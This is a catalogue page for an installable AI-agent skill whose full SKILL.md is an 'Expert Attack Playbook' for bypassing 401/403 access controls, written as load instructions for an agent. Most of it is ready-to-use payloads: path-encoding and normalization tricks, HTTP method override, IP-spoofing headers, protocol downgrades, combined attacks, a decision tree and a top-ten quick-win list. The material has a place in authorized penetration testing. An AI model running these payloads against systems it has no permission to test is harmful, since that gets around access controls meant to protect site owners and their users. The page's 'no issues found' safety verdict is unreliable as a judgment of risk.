401-403-bypass-techniques
401/403 bypass playbook
Install / Use
npx skills add yaklang/hack-skills --skill 401-403-bypass-techniquesInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
AutomationSupported Platforms
Our assessment of 401-403-bypass-techniques
401-403-bypass-techniques scores 82/100 on our quality scale, 2288th of 2,790 Automation skills we index.
Its SKILL.md is 9.6 KB long, well organised into 37 sections with 22 code examples: a thorough specification that gives an agent plenty to work with.
With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so 401-403-bypass-techniques is actively maintained.
- Our last check on 2026-11-07 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit ā read the skill file before letting an agent act on it.
Safety scan
No issues foundOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful.
AI review by kimi-k2.7-code on 2026-10-02. Automated pattern scan on 2026-10-02. It catches known dangerous patterns, not every risk ā read a skill before letting an agent act on it.
401-403-bypass-techniques compared with similar skills
All 4 of these similar skills score higher than 401-403-bypass-techniques; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| 401-403-bypass-techniques (this skill)by yaklang | 82 | 2.3k | 2mo ago | SKILL.md |
| Agent-Reachby Panniantong | 100 | 112.3k | 8d ago | CLAUDE.md |
| rufloby ruvnet | 100 | 81.9k | today | CLAUDE.md |
| headroomby headroomlabs-ai | 100 | 79.8k | today | CLAUDE.md |
| Claude-Code-Game-Studiosby Donchitos | 100 | 39.7k | 7d ago | CLAUDE.md |
Frequently asked questions
- How do I install 401-403-bypass-techniques?
- Run
npx skills add yaklang/hack-skills --skill 401-403-bypass-techniques. The install tabs above show the steps for each supported agent. - Which AI agents does 401-403-bypass-techniques work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is 401-403-bypass-techniques safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is 401-403-bypass-techniques still maintained?
- The repository was last updated about 2 months ago, so 401-403-bypass-techniques is actively maintained.
Skill content
View source on GitHubname: 401-403-bypass-techniques description: >- 401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.
SKILL: 401/403 Bypass Techniques ā Expert Attack Playbook
AI LOAD INSTRUCTION: Comprehensive 401/403 forbidden bypass techniques. Covers path normalization tricks, HTTP method override, header-based bypasses (X-Original-URL, X-Forwarded-For), protocol version tricks, and combination attacks. Base models typically know 2-3 header bypasses but miss the full matrix of path manipulation variants and verb+path combos.
0. RELATED ROUTING
- authbypass-authentication-flaws ā broader auth bypass (login flaws, session handling)
- waf-bypass-techniques ā when bypass is WAF-specific rather than access control
- http-host-header-attacks ā Host header manipulation for routing bypass
- request-smuggling ā smuggle past access controls entirely
- http2-specific-attacks ā h2c smuggling to bypass proxy ACLs
1. PATH MANIPULATION BYPASSES
The core idea: the reverse proxy/WAF checks one path format, but the backend normalizes differently.
1.1 Trailing Slash / Missing Slash
/admin ā 403
/admin/ ā 200 ā (trailing slash)
/admin/. ā 200 ā (trailing dot)
1.2 Case Sensitivity
/admin ā 403
/Admin ā 200 ā
/ADMIN ā 200 ā
/aDmIn ā 200 ā
Works when: proxy rule is case-sensitive but backend is case-insensitive (common on Windows/IIS).
1.3 URL Encoding
/admin ā 403
/%61dmin ā 200 ā (encode 'a')
/admi%6e ā 200 ā (encode 'n')
/%61%64%6d%69%6e ā 200 ā (full encode)
1.4 Double URL Encoding
/admin ā 403
/%2561dmin ā 200 ā (%25 = %, decoded twice: %61 ā a)
/admin%252f ā 200 ā
/admin..%252f ā 200 ā
1.5 Unicode / UTF-8 Encoding
/admin ā 403
/admi%C0%AE ā 200 ā (overlong UTF-8 for '.')
/admi%C0%6E ā 200 ā (overlong encoding)
/%C0%AFadmin ā 200 ā (overlong '/')
1.6 Dot-Segment / Path Traversal
/admin ā 403
/./admin ā 200 ā
//admin ā 200 ā
/admin/./ ā 200 ā
/.//admin ā 200 ā
/admin..;/ ā 200 ā (Tomcat path parameter)
1.7 Null Byte
/admin ā 403
/admin%00 ā 200 ā
/admin%00.json ā 200 ā
/%00/admin ā 200 ā
1.8 Path Parameter Injection
/admin ā 403
/admin;foo=bar ā 200 ā (Tomcat/Java treats ; as path param)
/admin; ā 200 ā
/admin;x ā 200 ā
1.9 Trailing Special Characters
/admin%20 (space) /admin%09 (tab) /admin? (empty query)
/admin.json /admin.html /admin/~
1.10 Backslash (Windows/IIS)
/admin\ /admin\..\/ \..\admin
1.11 Combined Path Tricks
///admin/// /./admin/./ /admin/..;/admin (Tomcat) /%2e/admin
2. HTTP METHOD BYPASS
2.1 Direct Method Change
GET /admin ā 403
POST /admin ā 200 ā
PUT /admin ā 200 ā
PATCH /admin ā 200 ā
DELETE /admin ā 200 ā
OPTIONS /admin ā 200 ā (may leak allowed methods)
TRACE /admin ā 200 ā (may reflect headers ā XST)
HEAD /admin ā 200 ā (same as GET but no body ā confirms access)
2.2 Method Override Headers
When the proxy blocks by method, but the backend reads override headers:
GET /admin HTTP/1.1
X-HTTP-Method-Override: PUT
GET /admin HTTP/1.1
X-Method-Override: POST
GET /admin HTTP/1.1
X-HTTP-Method: DELETE
POST /admin HTTP/1.1
X-HTTP-Method-Override: PATCH
_method=PUT (in POST body ā Rails, Laravel)
2.3 Custom / Invalid Methods
FOOBAR /admin HTTP/1.1 ā some ACLs only check GET/POST
GETS /admin HTTP/1.1 ā typo-like methods may bypass
CONNECT /admin HTTP/1.1 ā proxy may tunnel
PROPFIND /admin HTTP/1.1 ā WebDAV method
MOVE /admin HTTP/1.1 ā WebDAV method
3. HEADER-BASED BYPASS
3.1 URL Rewrite Headers (Nginx/IIS)
These headers tell the backend the "real" URL, bypassing proxy-level path checks:
GET / HTTP/1.1
X-Original-URL: /admin
GET / HTTP/1.1
X-Rewrite-URL: /admin
The proxy sees GET / (allowed), but the backend routes to /admin.
3.2 IP Spoofing Headers (Whitelist Bypass)
Headers to try (each with values 127.0.0.1, 10.0.0.1, 0.0.0.0, ::1):
X-Forwarded-For | X-Real-IP | X-Originating-IP | X-Remote-IP
X-Remote-Addr | X-Client-IP | True-Client-IP | Cluster-Client-IP
X-ProxyUser-IP | X-Custom-IP-Authorization | Forwarded: for=127.0.0.1
IP encoding variants: 0177.0.0.1 (octal), 2130706433 (decimal), 0x7f000001 (hex), localhost
3.3 Other Header Tricks
Referer: https://target.com/admin # Referrer check bypass
Origin: https://target.com # Origin check bypass
Host: localhost # Host header manipulation
X-Forwarded-Host: localhost # Forwarded host
Content-Type: application/json # Content-type switch
X-Requested-With: XMLHttpRequest # AJAX flag
4. PROTOCOL VERSION BYPASS
# HTTP/1.0 (some ACLs only apply to HTTP/1.1)
GET /admin HTTP/1.0
# HTTP/0.9 (extremely legacy ā no headers)
GET /admin
# HTTP/2 pseudo-header tricks
:method: GET
:path: /admin
:authority: target.com
# See ../http2-specific-attacks/SKILL.md for H2-specific bypasses
5. VERB TAMPERING + PATH COMBINATION
Combine multiple techniques for higher success rate:
POST / HTTP/1.1 # method override + URL rewrite
X-Original-URL: /admin
X-HTTP-Method-Override: GET
GET /%61dmin HTTP/1.1 # IP spoof + path encoding
X-Forwarded-For: 127.0.0.1
GET /Admin HTTP/1.0 # protocol + case + IP spoof
X-Forwarded-For: 127.0.0.1
6. TECHNOLOGY-SPECIFIC BYPASSES
| Server | Key Tricks |
|---|---|
| Apache | /admin/ (trailing slash), /.admin (dot prefix), /admin%0d (CR) |
| Nginx | /Admin (case), /admin../ (normalization), X-Original-URL: /admin |
| IIS/ASP.NET | /admin;.css (path param+ext), /admin\ (backslash), /admin::$DATA (ADS), /admin%20 |
| Tomcat/Java | /admin;foo (path param), /admin..;/ (traversal), /;/admin (empty param) |
| Spring | /admin.anything (suffix matching, older), /admin/ (trailing slash) |
7. AUTOMATED TOOLS
| Tool | Purpose | URL | |---|---|---| | byp4xx | Comprehensive 403 bypass scanner | github.com/lobuhi/byp4xx | | 403bypasser | Automated header/path/method bypass | github.com/sting8k/403bypasser | | dirsearch | Directory brute-force with encoding variants | github.com/maurosoria/dirsearch | | feroxbuster | Recursive content discovery | github.com/epi052/feroxbuster | | Burp Intruder | Custom payload lists for manual testing | portswigger.net |
byp4xx usage
# Basic usage
./byp4xx.sh https://target.com/admin
# Output shows all attempted bypasses and their response codes
# 200/301/302 responses = potential bypass found
8. DECISION TREE
Got 401 or 403 on a path?
ā
āāā Try PATH MANIPULATION first (highest success rate)
ā āāā /path/ (trailing slash)
ā āāā /PATH (case change)
ā āāā /path%20 (trailing space)
ā āāā /./path (dot segment)
ā āāā //path (double slash)
ā āāā /path;x (path parameter ā Java/Tomcat)
ā āāā /path..;/ (Tomcat specific)
ā āāā /%2e/path (encoded dot)
ā āāā /path%00 (null byte)
ā āāā /path%23 (encoded hash)
ā āāā Result? ā 200 = bypass found
ā
āāā Path tricks failed ā Try METHOD BYPASS
ā āāā POST/PUT/PATCH/DELETE/OPTIONS
ā āāā HEAD (same as GET without body)
ā āāā X-HTTP-Method-Override: PUT
ā āāā TRACE (may reflect auth headers ā XST)
ā
āāā Method tricks failed ā Try HEADER BYPASS
ā āāā X-Original-URL: /path (Nginx/IIS rewrite)
ā āāā X-Rewrite-URL: /path (same concept)
ā āāā X-Forwarded-For: 127.0.0.1 (IP whitelist)
ā āāā X-Real-IP: 127.0.0.1
ā āāā True-Client-IP: 127.0.0.1
ā āāā Referer: https://target.com/path
ā
āāā Header tricks failed ā Try PROTOCOL BYPASS
ā āāā HTTP/1.0 instead of 1.1
ā āāā HTTP/2 h2c smuggling (../http2-specific-attacks/)
ā āāā WebSocket upgrade
ā
āāā Single techniques failed ā Try COMBINATIONS
ā āāā Method + Path: POST /PATH/
ā āāā Header + Path: X-Forwarded-For + /path%20
ā āāā All three: POST + X-Original-URL + IP headers
ā āāā Protocol + Path: HTTP/1.0 + encoded path
ā
āāā All bypasses failed ā Consider ALTERNATIVE APPROACHES
ā āāā Request smuggling (../request-smuggling/) ā smuggle past ACL
ā āāā SSRF (../ssrf-server-side-request-forgery/) ā access from server
ā āāā IDOR (../idor-broken-object-authorization/) ā access data directly
ā āāā Auth flaws (../authbypass-authentication-flaws/) ā login bypass
ā
āāā Automated scan with byp4xx / 403bypasser for completeness
9. QUICK REFERENCE ā KEY PAYLOADS
# Top 10 quick-wins (try these first)
GET /admin/ HTTP/1.1 # trailing slash
GET /Admin HTTP/1.1 # case change
GET /admin%20 HTTP/1.1 # trailing space
GET /./admin HTTP/1.1 # dot segment
GET //admin HTTP/1.1 # double slash
POST /admin HTTP/1.1 # method change
GET / HTTP/1.1 # X-Original-URL bypass
X-Original-URL: /admin
GET /admin HTTP/1.1 # IP whitelist bypass
X-Forwarded-For: 127.0.0.1
GET /admin;.css HTTP/1.1 # IIS path param
GET /admin..;/ HTTP/1.1 # Tomcat bypass
Related Skills
Agent-Reach
112.3kGive your AI agent eyes to see the entire internet. Read & search Twitter, Reddit, YouTube, GitHub, Bilibili, XiaoHongShu ā one CLI, zero API fees.
ruflo
81.9kš The original agent harness. Deploy intelligent multi-player swarms, coordinate autonomous workflows, and build conversational AI systems. Features adaptive memory, self-learning intelligence, federation, vector RAG integration, and native Claude Code / Codex / Hermes and many more Integrated
headroom
79.8kCompress tool outputs, logs, files, and RAG chunks before they reach the LLM. 20% fewer tokens for coding agents, 60-95% fewer tokens for JSON, same answers. Library, proxy, MCP server.
Claude-Code-Game-Studios
39.7kTurn Claude Code into a full game dev studio ā 49 AI agents, 72 workflow skills, and a complete coordination system mirroring real studio hierarchy.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit ā see the Safety scan above for what the skill file itself contains.
